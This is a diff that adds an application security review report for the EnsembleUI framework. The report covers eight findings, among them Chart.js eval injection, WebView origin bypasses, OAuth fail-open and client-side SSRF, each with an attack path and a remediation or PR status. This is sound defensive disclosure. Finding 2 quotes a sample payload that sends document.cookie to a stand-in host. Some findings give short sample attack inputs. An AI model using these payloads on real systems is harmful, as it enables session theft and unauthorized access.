|
| 1 | +# Application Security Review — 2026-06-25 |
| 2 | + |
| 3 | +## Summary |
| 4 | + |
| 5 | +Four validated medium+ vulnerabilities fixed with separate branches. PR automation created/updated PRs where integration permissions allowed; all fix branches are pushed to origin for review. |
| 6 | + |
| 7 | +## Findings with fixes |
| 8 | + |
| 9 | +### 1. invokeAPI / SSE query parameter injection — Medium |
| 10 | + |
| 11 | +- **Location:** `modules/ensemble/lib/framework/apiproviders/http_api_provider.dart`, `sse_api_provider.dart` |
| 12 | +- **Attacker:** External user whose input flows into API `parameters` via YAML expression evaluation (e.g. `${searchInput}`) |
| 13 | +- **Controlled input:** Parameter values containing `&` or `=` (e.g. `foo&role=admin`) |
| 14 | +- **Attack path:** User input → `invokeAPI` GET/DELETE parameters → unencoded URL concatenation → backend receives injected query pairs |
| 15 | +- **Impact:** HTTP parameter pollution; may bypass filters, alter authorization checks, or change API semantics on backends with inconsistent parameter precedence |
| 16 | +- **Remediation:** `appendEncodedQueryParameters()` using `Uri.replace(queryParameters:)` |
| 17 | +- **PR status:** PR created — https://github.com/EnsembleUI/ensemble/pull/2301 (branch `security/fix-api-query-param-injection`) |
| 18 | + |
| 19 | +### 2. Chart.js config injection into eval/HTML — High |
| 20 | + |
| 21 | +- **Location:** `modules/ensemble/lib/widget/visualization/chart_js/`, `modules/ensemble/lib/util/chart_utils.dart` |
| 22 | +- **Attacker:** External party controlling API response data or user input bound to ChartJs `config` |
| 23 | +- **Controlled input:** Malicious string such as `{});fetch('https://evil.example?c='+document.cookie);//` |
| 24 | +- **Attack path:** Untrusted string config → interpolated into `JsWidget.scriptToInstantiate` / `loadHtmlString` → browser `eval()` or WebView inline JS → arbitrary JS in app origin |
| 25 | +- **Impact:** XSS on web; session/token theft; actions as the victim user within the app origin |
| 26 | +- **Remediation:** Validate string configs as JSON via `jsonEncode(jsonDecode(...))`; preserve trusted Map configs via `configFromMap`; restrict chart `id` charset |
| 27 | +- **PR status:** PR created — https://github.com/EnsembleUI/ensemble/pull/2302 (automation branch; also `security/fix-chartjs-eval-injection`) |
| 28 | + |
| 29 | +### 3. TabaPay WebView postMessage origin bypass — High |
| 30 | + |
| 31 | +- **Location:** `modules/ensemble/lib/widget/fintech/tabapayconnect.dart` |
| 32 | +- **Attacker:** Cross-origin frame, opener, or embedded page that can call `postMessage` |
| 33 | +- **Controlled input:** Forged pipe-delimited TabaPay success payload |
| 34 | +- **Attack path:** TabaPay WebView installs unrestricted `message` listener → attacker `postMessage` → `_handleTabaPayMessage` treats spoofed payload as success → `onSuccess` runs with attacker-controlled token fields |
| 35 | +- **Impact:** Fraudulent payment token capture; unauthorized triggering of financial success handlers |
| 36 | +- **Remediation:** `buildTabaPayPostMessageListenerScript()` requires `event.origin` to match configured iframe URL origin; fail closed for non-http(s) URIs |
| 37 | +- **PR status:** Branch pushed — `security/fix-tabapay-post-message` (compare: https://github.com/EnsembleUI/ensemble/compare/main...security/fix-tabapay-post-message) |
| 38 | + |
| 39 | +### 4. Native WebView JavaScript channel origin bypass — High |
| 40 | + |
| 41 | +- **Location:** `modules/ensemble/lib/widget/webview/native/webviewstate.dart` |
| 42 | +- **Attacker:** Cross-origin page loaded inside `InAppWebView` after navigation |
| 43 | +- **Controlled input:** Arbitrary arguments passed to registered JavaScript channel handlers |
| 44 | +- **Attack path:** WebView loads trusted URL with `javascriptChannels` → user navigates or page loads cross-origin content → attacker script invokes handler → YAML-configured action executes without origin check |
| 45 | +- **Impact:** Unauthorized navigation, API invocation, or other actions wired to JS channels |
| 46 | +- **Remediation:** Compare `controller.getUrl()` origin to allowed origin from configured WebView URL before executing channel callbacks |
| 47 | +- **PR status:** Branch pushed — `security/fix-webview-js-bridge` (compare: https://github.com/EnsembleUI/ensemble/compare/main...security/fix-webview-js-bridge) |
| 48 | + |
| 49 | +## Findings without PRs |
| 50 | + |
| 51 | +### 5. OAuth/API fail-open when token missing — High |
| 52 | + |
| 53 | +- **Location:** `http_api_provider.dart` (authorization block) |
| 54 | +- **Attack path:** API with `authorization.oauthId` configured → `authorize()` returns null → request proceeds without `Authorization` header |
| 55 | +- **Impact:** Sensitive API calls may reach backend unauthenticated |
| 56 | +- **PR status:** No PR created: requires owner input (may break apps relying on optional auth) |
| 57 | + |
| 58 | +### 6. Unrestricted outbound HTTP (client-side SSRF) — Medium–High |
| 59 | + |
| 60 | +- **Location:** `http_api_provider.dart`, `invokablefetch.dart` |
| 61 | +- **Attack path:** Evaluated URL from YAML/JS → requests to internal/metadata endpoints |
| 62 | +- **Impact:** Internal network probing from user devices |
| 63 | +- **PR status:** No PR created: requires owner input (URL policy definition) |
| 64 | + |
| 65 | +### 7. Server credentials in non-secure GetStorage — High |
| 66 | + |
| 67 | +- **Location:** `modules/auth/lib/signin/auth_manager.dart` |
| 68 | +- **Attack path:** Bearer tokens in `user.data` persisted via plaintext GetStorage |
| 69 | +- **Impact:** Credential theft on compromised devices |
| 70 | +- **PR status:** No PR created: requires owner input (auth storage migration) |
| 71 | + |
| 72 | +### 8. Deep link screen navigation without allowlist — Medium |
| 73 | + |
| 74 | +- **Location:** `modules/ensemble/lib/deep_link_manager.dart` |
| 75 | +- **Attack path:** `myapp://?screenName=AdminPanel` → direct navigation (screen id validation prevents path traversal but not authorization) |
| 76 | +- **Impact:** Access screens intended to be gated by in-app auth |
| 77 | +- **PR status:** No PR created: requires owner input (per-app policy) |
0 commit comments